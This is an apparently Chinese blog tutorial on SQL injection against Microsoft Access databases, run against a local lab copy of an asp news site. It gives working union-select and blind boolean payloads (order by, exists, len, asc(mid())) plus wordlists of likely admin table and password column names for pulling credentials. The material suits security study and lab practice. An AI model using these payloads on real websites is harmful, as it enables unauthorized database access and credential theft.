SQL注入--Access注入

一.基本概念

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

Access数据库跟mysql、mssql、Oracle等数据库不一样,它就是一个独立的数据库,并不像mysql这些数据库有自带的数据库(mysql中的information_schema),所以我们在进行注入的时候需要用到不一样的方法。

常见语言和数据库搭配:

  • asp+access
  • php+mysql
  • aspx+mssql
  • jsp+mssql,Oracle
  • python+mangodb,mysql

二.靶场搭建

将压缩包xxf5.0.3.4.zip​解压后,然后将解压后的文件复制到windows7虚拟机进行安装,然后将leichinews.zip​解压,放到wwwroot​目录里,在浏览器访问即可。

三.攻击流程

方法1:联合查询

1.判断注入点

一般来说单引号、减号、and等就可以判断是否存在注入(查看是否返回错误信息)

2.判断列数
  • 使用order by语句

    • 字符型

      • -1' order by 3%23:正常
      • -1' order by 5%23:不正常
    • 数字型

      • -1 order by 11:正常
      • -1 order by 22:不正常
3.判断回显位置

常见表名

admin,a_admin,x_admin,m_admin,adminuser,admin_user,article_admin,administrator,m

anage,manager,member,memberlist,user,users,Manage_User,user_info,admin_userinfo,

UserGroups,user_list,login,Friend,zl,movie,news,password,clubconfig,config,company,book,art,dv_admin,userinfo

构造语句:-1 union select 1,2,3,4,5,6,7,8,9,10,11 from admin

  • mysql数据库中union select 后面不需要跟上from+表名​,access数据库中需要给一个表名,但是由于Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数。

  • 知道存在admin表,并且回显位置在2,3位

  • PS:from+表名,返回正常则说明有该表存在,返回错误则说明没有该表。

4.判断列名

常见列名

username,adminusername,admin_username,adminname,admin_name,admin,adminuser,admin_user,usrname,usr_name,user_admin,password,admin_password,administrator,administrators,adminpassword,adminpwd,admin_pwd,adminpass,admin_pass,usrpass,usr_pass,user,name,pass,userpass,user_pass,userpassword,user_password,pwd,userpwd,user_pwd,useradmin,pword,p_word,

pass-wd,yonghu,id,uid,userid,user_id,adminid,admin_id,login_name

构造语句:-1 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin


  • 成功得到账号密码,接下来可以登录后台,但是发现利用得到的账号密码无法登录,这是因为得到的password字段是经过了加密,使用"雷驰加密解密"工具解密得到原文为admin


方法2:逐字猜解

1.猜表名

构造语句:-1 and exists (select * from admin) 页面正常说明存在admin表

2.猜列名

构造语句:-1 and exists (select admin from admin) 页面正常,说明存在admin表里存在名为admin的列

3.猜字段内容长度

构造语句:-1 and (select top 1 len(admin) from admin)=5

  • top 1为查询结果只显示首条记录。
  • len为获取长度
4.获取字段内容
  • 获取字段内容第一位:-1 and (select top 1 asc(mid(admin,1,1)) from admin)=97页面正常则说明第一位的ASCII码值为97也就是a

    • mid(列名,起始位置,要返回的字符数)
  • 获取字段内容第二位:-1 and (select top 1 asc(mid(admin,2,1)) from admin)=97

相关推荐
爱和冰阔落8 分钟前
【MySQL 慢查询排查实战】列表接口逐渐变慢时,怎样从请求链路定位原因
android·数据库·mysql
JacksonMx13 分钟前
企业级 JPA 与数据库架构落地指南
数据库·数据库架构
Dxy123931021614 分钟前
MySQL有哪些锁?InnoDB锁体系完整梳理博客
数据库·mysql
老当益壮梁奶奶22 分钟前
Linux软件编程学习笔记(二)Linux文件IO编程入门:从fopen到fgetc
linux·c语言·c++·笔记·学习
sunoo-22923 分钟前
C 语言文件 IO 全攻略:从基础函数到实战踩坑(BMP 读取 + 词典查询)
linux·c语言·前端·笔记·vscode·学习
白猫不黑26 分钟前
从运维到网络安全:转行优势、路径与薪资前景全解析
运维·网络·web安全·网络安全·信息安全·渗透测试
wear工程师1 小时前
MySQL 索引条件下推是什么?Using index condition 并不是覆盖索引
sql·mysql
蒸蒸yyyyzwd1 小时前
cpp选手秋招学习笔记 day12
笔记·学习·oracle
Wang's Blog1 小时前
PostgreSQL笔记38:慢查询定位与优化的系统方法论
数据库·笔记·postgresql
GeekPlusA1 小时前
ai-opendesign学习
学习